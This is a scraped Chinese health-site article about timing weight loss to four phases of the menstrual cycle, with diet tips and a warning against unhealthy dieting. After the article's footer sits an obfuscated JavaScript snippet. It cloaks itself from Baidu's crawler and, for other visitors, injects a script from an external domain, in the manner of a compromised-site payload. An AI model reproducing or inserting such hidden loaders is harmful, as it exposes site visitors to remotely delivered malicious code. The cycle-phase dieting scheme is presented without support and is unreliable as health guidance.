當前位置:首頁 > 減肥 > 減肥方法 > 正文

經(jīng)期前一周減肥的原理是什么

2017-04-26 16:58:53  來源:360常識網(wǎng)   熱度:
導語:減肥對于女性而言簡直是太重要了,特別是在現(xiàn)在的社會里,如果身材比較臃腫,整個人都不好了。為了達到減肥的目的,很多女性都拼了,寧愿餓

減肥對于女性而言簡直是太重要了,特別是在現(xiàn)在的社會里,如果身材比較臃腫,整個人都不好了。為了達到減肥的目的,很多女性都拼了,寧愿餓肚子,也要把肥減下來。減肥的方法有很多,很多女性關(guān)心經(jīng)期前一周減肥的原理是什么?下面咱們就來詳細了解一下吧。

所謂的生理期減肥,就是運用生理周期將瘦身分成四期,分別是月經(jīng)來的1-7天稱為瘦身福利期、月經(jīng)后的第7-14天稱為瘦身超速期、月經(jīng)后的第14-21天稱為瘦身平快期、以及月經(jīng)后的第21-28天稱為瘦身緩慢期。在這四個階段。

生理期就是指發(fā)育成熟的女性每個月都有一次月經(jīng),也就是月經(jīng)期。

在瘦身減肥期這段時間,可以減緩節(jié)食計劃,多補充鐵質(zhì)及纖維質(zhì)豐富的食物,如菠菜、魚、葡萄等,并搭配緩和的運動。到了生理期結(jié)束后的“超速期”和“平快期”,則是最恰當?shù)臏p肥時機;至于生理期來之前的“緩慢期”,可以增加運動量為下一個生理期的減肥計劃作準備。生理期每次經(jīng)血排出的量約在80CC.左右,不過在月經(jīng)這段期間,許多女性因為身體虛弱,因此常以補充體力為借口,并安慰自己這段時間怎么吃也不怕胖,自動成為“巧克力的解禁期”。其實不是,吃高熱量的事物就是會發(fā)胖的,沒有所謂的解禁期。

上面就是對經(jīng)期前一周減肥原理的介紹,希望對大家的認識有幫助。女性減肥的心情是可以理解的,但是無論采取什么樣的方法進行減肥,女性都要對原理進行認識,了解其利害,科學的減肥,不能因為自己的身材,完全不顧自己的健康狀況,這樣就得不償失了。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}